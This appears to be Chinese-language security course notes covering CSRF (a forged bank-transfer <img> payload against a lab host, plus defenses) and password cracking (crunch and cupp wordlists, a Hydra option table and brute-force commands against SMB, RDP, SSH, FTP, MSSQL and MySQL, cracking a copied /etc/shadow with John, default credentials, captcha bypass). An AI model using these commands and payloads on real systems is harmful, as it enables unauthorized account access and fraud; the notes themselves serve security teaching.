跨站请求伪造

目录

跨站请求伪造(Cross site Request,CSRF)

基本概念;

关键点:

目标:

构建CSRF场景:

攻击原理及过程:

CSRF和XSS区别与联系:

口令安全 –口令**

口令(密码)安全威胁

口令的**方式

☺ 字典**

☺ 口令**的方式

☺ 口令**情况

☺ Hydra –远程口令**神器

☺ 远程口令**实例

☺ 离线密码**

☺ 网站后台**


跨站请求伪造(Cross site Request,CSRF)

实例:heike用户可以伪造admin(正常)用户的转账请求,强制admin用户,转账给任意用户。

基本概念;

CSRF是一种攻击,他强制终端用户在当前对对其进行身份验证后的Web应用程序上之行非本意操作的攻击。

CSRF 攻击的重点在于更改状态的请求,不是盗取数据,因为攻击者法查看伪造请求的响应。

借助于社会工程学的一些帮助,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF攻击会危机整个Web应用程序。

 

关键点:

受害者没有退出登录。

CSRF是一种欺骗受害者提交恶意请求的攻击。他继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。

 

目标:

CSRF的目标是更改用户帐户的状态,攻击者利用CSRF发送的请求都是更改状态的请求,比如转账、修改密码、购买商品等。

CSRF的场景中,攻击者是没有办法获得服务器的响应。

构建CSRF场景:

模拟银行网站和恶意网站

恶意网站构造一个诱导链接

我们可以通过<img>标签构造GET请求。受害者访问网站的时候加载了<img>标签。浏览器会根据<img>标签中的src属性,请求服务器资源(GET),会自动带上身份认证信息(Cookie)。

例:<img src='./1.jpg'><br />

<img src='http://192.168.16.109/bank/action.php?

username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝⼑在⼿,谁与争锋'>

 

跨站请求伪造

攻击原理及过程:

1.受害用户开启浏览器,访问受信任的网站,输入用户名和密码请求登陆

2.*成功登陆网站后,浏览器会储存用户登陆信息在cookei中                            

3.*在受害用户未退出信任网站之前 ,同意浏览器打开 具有CSRF攻击的诱导网站, 载入诱导网站时候,诱导网站返回具有攻击性的代码来更改信任网站状态请求

4.*构造:通过<img>构造get请求,进行伪造

CSRF和XSS区别与联系:

 XSS:跨站脚本攻击,是用户没有做一个好的过滤,会出现注入漏洞

诱骗用户点击恶意链接盗取用户cookie进行攻击

攻击方式:构造恶意链接,诱骗用户点击盗取用户的Cookie信息。

☺  CSRF:跨站请求伪造,是用户登陆信任网站未退出的情况下访问攻击者建造的恶意网站,冒充受害者身份发送恶意请求。

 

相同点:XSS,CSRF,SSRF三种常见的Web服务端漏洞均是由于,服务器端对用户提供的可控数据过于信任或者过滤不严导致的。­­

区别:CSRF是请求页面api来实现非法操作,无法直接获取用户的cookie而是冒充用户,需要用户登陆;XSS是向当前页面植入js脚本来修改页面内容。

 

CSRF与XSS漏洞相结合

攻击者可以利用xss触发CSRF攻击。 可以利用js发送HTTP请求。

 

CSRF漏洞防御

有效的防御:

☺ 验证Referer字段

☺ 添加Token验证

☺ 二次验证

 

口令安全 –口令**

口令(密码)安全威胁

口令泄露

  以文件的方式保存口令

  网站的配置文件

  源代码中的注释

  邮件,口令以明文的方式出现在邮件中

  浏览器保存的账号密码

  。。。

弱口令

 例:123456 | 123456789 | 888888 | 666666 |admin 等

 

默认口令

Phpstudy 中 mysql 默认账密 【root :root】

Tomcat  管理控制台默认账密 【tomcat : tomcat】

。。。。

明文传输

http | ftp | telent 等服务,都是明文传输的。

 

口令的**方式

暴力**

 最原始、最粗暴的**方法。

利用所以可能的字符组成密码字典,去尝试**。

密码空间

所有可能的密码个数。

密码空间大小的影响因素:

  1. 字符集合
  2. 密码位数

字典生成工具 –crunch

例:

Crunch 8 8  0123456789

Crunch 1 8  0123456789abcdefghijklmnopqrstuvwxyz

Crunch 8 8  - t 1990%%%%  (已知密码前几位**后面数字密码 可用 % 来表示)

跨站请求伪造

 

☺ 字典**

通过合理的条件,筛选掉一些全字符组合的内容,就会大幅度降低**成本。

把筛选出特定的密码组合成具有明显特征的字典。

注:这样可能会漏掉真正的密码。

 

Kali中的字典

/usr/share/wordlists/rockyou.txt.gz

 

弱口令字典

例:

  123456

admin

root

。。。。

社会工程字典

基于人的思维逻辑特点,便于记忆,密码内容组合往往会与个人信息有关。

例:“名字缩写+生日”

社会工程字典更具有针对性,准确率有可能会比较高。

亦思社会工程学字典生成器

Cupp –i

字符集字典

字符集合

密码位数

组合方法

。。。。

例: 密码组合:数字+“.com”

     密码位数:7

示例:000.com  |  123.com

crunch 7 7 -t %%%.com > test.dic

 

☺ 口令**的方式

在线(远程)口令**

用户名和密码需要在服务器端验证,需要网络连接。

网站后台

RDP

SSH

。。。。。

 

离线密码**

直接**的是密码密文

Md5 密文

/etc/shadow

扩展知识:

跨站请求伪造

 

跨站请求伪造

☺ 口令**情况

用户名未知,密码未知

用户名已知,密码未知

用户名未知,密码已知

 

☺ Hydra –远程口令**神器

命令查询;

参数

含义

-R

接着上一次的**进度继续**

-L

指定一个用户名字典

-I

指定一个用户名

-P(大写)

指定一个密码字典

-p(小写)

指定一个密码

-e nsr

n代表空密码 ,s代表密码与用户名相同,r用户名反向(例: root  :toor)

-o

将**结果保存到文件中

-t

指定**的线程

-vV

显示详细的**细节

-f

当遇到正确的用户名和密码是,就立即停止**

 

 

 

☺ 远程口令**实例

远程**windows口令

SMB服务

  1. hydra smb://192.168.16.109 -L /home/kali/dic/test/user.dic -P

/home/kali/dic/test/pass.dic -vV -t 8 -o 109.smb

  1. hydra smb://192.168.16.109 -L /home/kali/dic/test/user.dic -P

/home/kali/dic/test/pass.dic -vV -t 8 -o 109.smb -f

RDP服务

hydra rdp://192.168.16.109 -l administrator -P

/home/kali/dic/test/pass.dic -t 1 -o 109.rdp –f

 

远程**linux口令

SSH服务

hydra ssh://10.10.10.218 -L /home/kali/dic/test/user.dic -P

/home/kali/dic/test/pass.dic -vV -o 218.ssh -f -e nsr

其他服务的**

FTP服务

hydra ftp://192.168.16.200 -L user.dic -P pass.dic -f -vV -e nsr 

SQL Server服务

hydra mssql://192.168.16.200 -L user.dic -P pass.dic -f -vV -e nsr 

MySQL服务

sudo hydra mysql://127.0.0.1 -L /home/kali/dic/test/user.dic -P

/home/kali/dic/test/pass.dic -f -vV -t 1 -o 127.mysql -e nsr

 

☺ 离线密码**

/etc/shadow 文件**

sudo cp /etc/shadow ./

john shadow

john shadow --wordlist=rockyou.txt

john shadow –show

 

md5密文破译

https://www.cmd5.com/

https://pmd5.com/

 

 

☺ 网站后台**

  1. Burp Suite
  2. Intruder
  3. 有无验证码;

如果验证码不能识别或者不能**,基本上可以放弃了。

绕过验证码:直接删除验证码 、判断是否在Cookie ⾥